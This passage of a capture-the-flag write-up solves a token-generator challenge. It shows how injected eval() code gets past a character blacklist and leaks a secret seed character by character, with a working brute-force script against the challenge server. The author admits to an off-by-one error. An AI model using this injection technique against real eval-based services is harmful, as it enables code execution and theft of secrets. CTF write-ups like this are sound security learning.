  3. There's also the hidden challenge that after the input() a split() happens. That means if we want to sneak in any python code that's longer than 1 word, we're going to have to do it without spaces like ninjas.
  4. We have to somehow get the seed variable out of the system without breaking (1), (2), and (3).

So how can we get the seed out? We can't simply do a print, because our input would fail (1). However, let's recall how the token is generated, a token essentially mixes together a username (serial number), a randomly generated seed, and a timestamp into a single one time use password. However, this token generator is missing the crucial step of the randomly generated seed, and instead it's a constant. So, the only thing that's actually changing when the token is generated is the timestamp. You cannot rely simply on a timestamp for randomization, because it's predictable and not fine grain enough (meaning, you can only get millisecond precision).

So we can reverse engineer the gentoken() function and figure out how 1ms increases in time change the key, or we can just send as many requests as we can in the 1ms window to the token generator with the same serial number, and get back the same token. However, the token returned will be different for 2 different serial numbers given to it in the same timestamp, awesome!

We can be smart, or we can simply just guess every possible letter for every character in the seed string.

if seed[i] == guess:  
    return 2017
else:  
    return 1000

So we have to fit that construct somehow into the input(), without breaking (1), (2), and (3) from above. I set up a test bench for this to figure out what exactly can I fit into a string that'll still pass.

# This validation() is copy pasted from tokens.py given to us
def validation(input):  
    err = int()
    input = str(input)
    # 3,4,6,8,9,-,/,*,%,<,>, and bunch more banned
    nochrs = [34,60,62,33,64,35,36,37,94,38,42,45,47,51,52,54,56,57,63,92,96,124,59,123,125]
    for i in input:
        if ord(i) in nochrs:
            print(i)
            err = 1
            break
        else:
            err = 0
    if not err: return 1
    else: return 0

# This function is used to just test for what successfully gets past (1) and (2)
def test_seed():  
    seed = "flag{http://eugenekolo.com}"
    cmd = "gen"
    tmp = eval("{cmd:eval('''2017.if.seed[2].==.'{}'.else.1000'''.replace('.',chr(0x20)))}")
    if validation("eval('''2017.if.seed[2].==.'{}'.else.1000'''.replace('.',chr(0x20)))"):
        print("valid")
    if (type(tmp.values()[0])) == int:
        print("yes int")
    if len(str(tmp.values()[0])) == 4:
        print(tmp.values()[0])

test_seed()  

Awesome, we found a string that passes validation, and outputs 2 different values based on what seed actually is. There is however one extra little pain here. If you look at the list of banned characters in validation, you'll notice that the ASCII representation of the numbers, 3, 4, 6, and some others are banned. That means we can't pass a string that indexes directly into seed[2], or seed[4], and so on. We also cannot test if the valid guess for the seed index is a '3', or a '4', and so on. Lucky for us, the ASCII representation of '1' is not banned, so we can simply just add a bunch of 1's to form the actual value we want.

from datetime import datetime  
from socket import *  
import telnetlib, struct

s=socket(AF_INET, SOCK_STREAM)  
s.connect(('tokens.pwn2win.party', 6037))  
t = telnetlib.Telnet()  
t.sock = s

for i in range(0,60):  
    for x in range(20, 128):
        # Fun little hack to get in arbitrary numbers due to some characters being banned
        x = "1+"*x
        x = x.rstrip("+")
        index = "1+"*i
        index = index.rstrip("+")
        if i == 0:
            index = '0'

        # Let's take a guess of what seed[i] might be
        guess = "gen eval('''2017.if.seed[{}].==.chr({}).else.1000'''.replace('.',chr(0x20)))".format(index, x)
        t.write(guess+"\n")

        # Did we guess right?!
        r = t.read_until(">>>")
        # This number is the different one if you give a serial number of 2017 instead of 1000
        if '47872900' in r: 
            print(i, chr(eval(x)))
            print(r)

And you end up with several of these:

(0, 'J')

Token: 47872897  
Valid until: 1:1:59  
...
(3, '5')

Token: 47872897  
...

I believe there's an unintentional bug, or something in the code as well, because we shouldn't be able to send and receive ~40 requests in 1ms across the Internet. It seems that the token generator is a bit broken and doesn't even change for every millisecond increase.

Also in my solution there actually an off by one error (I just guessed and fixed it up), so you'll end up with the string: Jf{5pvg:cbi4QvohpPtibf:fjijfhi4jftfFovHi, which is the answer + 1 to each character, where the real one is:

CTF-BR{Iez4ouf9bah3PungoOshae9eihiegh3ieseEnuGh}